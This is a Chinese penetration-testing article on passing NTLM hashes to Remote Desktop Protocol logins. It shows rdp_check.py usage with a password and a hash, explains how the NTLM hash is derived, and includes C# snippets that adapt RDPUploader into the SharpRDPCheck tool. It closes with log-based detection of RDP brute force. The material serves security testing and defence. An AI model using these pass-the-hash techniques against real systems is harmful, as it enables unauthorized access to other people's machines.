

渗透技巧——Pass the Hash with Remote Desktop Protocol

原创 3gstudent 嘶吼专业版 5月20日



0x00 前言

在之前的文章《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》(请在原文中查看文章)介绍了特定条件下(Server需要开启Restricted Admin mode, Client需要支持Restricted Admin mode)Pass the Hash with Remote Desktop的方法, 本文将介绍更为通用的方法(通过NTLM hash登录RDP), 分析原理, 开源代码, 记录细节。



0x01 简介

本文将介绍以下内容:

- 渗透测试中的需求
- 验证口令或者NTLM hash的实现方法
- C实现代码
- Python实现代码
- C sharp实现代码



0x02 渗透测试中的需求

如果是开发远程桌面服务的客户端，可供选择的方法有很多，例如通过C#调用ActiveX组件AxMSTSCLib。

详细方法可参考：<https://www.codeproject.com/Articles/43705/Remote-Desktop-using-C-NET>

但是在渗透测试中，我们有以下两个需求：

1.验证口令或者hash

需要满足以下条件：

可以在Windows和Linux系统上运行。

登录方式支持明文口令和NTLM hash。

命令行下使用。

2.远程登录

可以在Windows和Linux系统上运行。

登录方式支持明文口令和NTLM hash。



0x03 验证口令或者hash的实现方法

为了支持NTLM hash登录，需要对协议和加密方式有所了解。

关于 RDP 协议的参考资料：<https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation>

1.使用Python实现(rdp_check.py)

代 码 地 址：
https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py

可以在Windows和Linux系统上运行。

登录方式支持明文口令和NTLM hash。

命令行下使用。

脚本运行前需要安装Impacket。

安装方法：pip install Impacket。

如果是在Windows系统下使用，可以将Python脚本转换成exe，编译好的exe文件下载地址：
<https://github.com/maaaaz/impacket-examples-windows>

使用示例：明文口令验证

```
rdp_check.py /administrator:test123@192.168.1.1
```

使用示例：NTLM hash验证。

```
rdp_check.py /administrator@192.168.1.1 -hashes :c5a237b7e9d8e708d8436b6148a25fa1
```

注：hash的格式为LMHASH:NTHASH，如果只有NTLM hash，格式为 :NTHASH，需要注意:前面存在一个空格字符。

2.使用C实现(FreeRDP)

代码地址：<https://github.com/FreeRDP>

可以在Windows和Linux系统上运行。

登录方式支持明文口令。

命令行下使用。

如果为了支持NTLM hash登录，需要使用旧版本的FreeRDP，下载地址：
<https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz>

如果仅仅为了验证口令或者hash，需要修改代码，去除后续登录的功能。

关于FreeRDP的使用可参考：
<https://github.com/FreeRDP/FreeRDP/wiki/CommandLineInterface>

3.使用C sharp实现(SharpRDPCheck)

可以在Windows系统上运行。

登录方式支持明文口令和NTLM hash。

命令行下使用。

开发过程记录：

这里无法通过调用ActiveX组件AxMSTSCLib实现，原因如下：

使用ActiveX组件AxMSTSCLib无法通过NTLM hash登录。

对命令行的支持不够友好。

所以只能参照rdp_check.py的方式，手动构造通信数据。

经过搜索，我找到了一个可供参考的代码：<https://github.com/RDPUploader/RDPUploader>

RDPUploader包括三个子项目，编译成功后生成两个dll和一个exe文件，不支持命令行操作，也不支持NTLM hash登录，但其中的通信过程写的很清晰。

接下来以RDPUploader为模板进行开发。

这里具体介绍一下支持NTLM hash登录的方法：

Remote Desktop Protocol在进行验证时，先将明文口令转换成NTLM hash，再进行验证。

我们首先寻找RDPUploader中从明文口令转换为NTLM hash的代码，具体内容如下：

```
private static byte[] nTOWFv1(string password)
{
    if (password == null)
    {
        throw new Exception("Password parameter is required");
    }
    return MD4.ComputeHash(Encoding.Unicode.GetBytes(password));
}
private static byte[] nTOWFv2(string domain, string username, string password)
{
    HMACT64 hmact = new HMACT64(nTOWFv1(password));
    hmact.update(Encoding.Unicode.GetBytes(username.ToUpper()));
    hmact.update(Encoding.Unicode.GetBytes(domain));
    return hmact.digest();
}
```

补充：NTLM hash的生成方法。

将明文口令转换成十六进制的格式。

转换成Unicode格式，即在每个字节之后添加0x00。

对Unicode字符串作MD4加密，生成32位的十六进制数字串。

这里以明文口令test123为例：

转换成十六进制的格式为74657374313233

转换成Unicode格式为7400650073007400310032003300

对字符串 7400650073007400310032003300 作 MD4 加密，结果为 c5a237b7e9d8e708d8436b6148a25fa1

更多细节可参考之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》。

这里我们可以将nTOWFv1(password)的结果输出，验证NTLM hash的生成方法是否准确，修改后的代码如下：

```
private static byte[] nTOWFv2(string domain, string username, string password)
{
    byte[] a = nTOWFv1(password);
    string text = "";
    for (int i = 0; i < a.Length; i++)
    {
        text += a[i].ToString("X2");
    }
    Console.WriteLine(text);
    HMACT64 hmact = new HMACT64(a);
    hmact.update(Encoding.Unicode.GetBytes(username.ToUpper()));
    hmact.update(Encoding.Unicode.GetBytes(domain));
    return hmact.digest();
}
```

输出的字符串为C5A237B7E9D8E708D8436B6148A25FA1，验证成功。

接下来，直接传入字符串C5A237B7E9D8E708D8436B6148A25FA1进行验证。

这里需要将hex格式的字符串转换为byte[]，代码如下：

```
public static byte[] ConvertHexStringToBytes(string hexString)
{
    hexString = hexString.Replace(" ", "");
    if (hexString.Length % 2 != 0)
    {
        throw new ArgumentException("wrong length of ntlm hash");
    }
    byte[] returnBytes = new byte[hexString.Length / 2];
    for (int i = 0; i < returnBytes.Length; i++)
    {
        returnBytes[i] = Convert.ToByte(hexString.Substring(i * 2, 2), 16);
    }
    return returnBytes;
}
private static byte[] nTOWFv2(string domain, string username, string password)
{

```

```
string text = "C5A237B7E9D8E708D8436B6148A25FA1";
byte[] byteArray = ConvertHexStringToBytes(text);
HMACT64 hmact = new HMACT64(byteArray);
hmact.update(Encoding.Unicode.GetBytes(username.ToUpper()));
hmact.update(Encoding.Unicode.GetBytes(domain));
return hmact.digest();
}
```

验证成功，最后将固定字符串修改为变量传递即可实现对NTLM hash登录的支持。

完整代码已开源，地址如下：<https://github.com/3gstudent/SharpRDPCheck/>

可通过Visual Studio进行编译，编译的目标框架推荐使用.NET Framework 4.6，这是为了使用TLSv1.2。

否则会使用TLSv1.0，在进行登录时会失败，提示如下：

```
[!] Authentication Error (The decryption operation failed, see inner exception.)
InnerException: System.ComponentModel.Win32Exception (0x80004005): The Local
Sec
urity Authority cannot be contacted
```

参 考 资 料 : <https://docs.microsoft.com/en-us/dotnet/api/system.net.security.sslstream.authenticateasclient?redirectedfrom=MSDN&view=netframework-4.8>

编译成功后在安装.NET Framework 4的Windows系统下都可以正常使用。



0x04 防御思路

对于RDP的爆破攻击，可以选择提高用户口令的强度。

对于爆破行为的检测，可以通过cmd查看其他用户通过RDP登录当前系统的日志：

```
wevtutil gli "Microsoft-Windows-TerminalServices-
RemoteConnectionManager/Operational"
wevtutil qe /f:text "Microsoft-Windows-TerminalServices-
RemoteConnectionManager/Operational"
```

每当Listener RDP-Tcp收到一个连接请求，将产生EventID为261的日志。

也就是说，只要收到了RDP的连接请求，无论连接是否成功，均会产生EventID为261的日志。

通过Powershell查看其他用户通过RDP登录当前系统的日志：

<https://gallery.technet.microsoft.com/Remote-Desktop-Connection-3fe225cd>



0x05 小结

本文介绍了针对Remote Desktop Protocol，验证口令或者NTLM hash的实现方法，开源代码SharpRDPCheck，分享程序实现NTLM hash登录的细节，最后介绍通过日志检测RDP爆破行为的方法。



END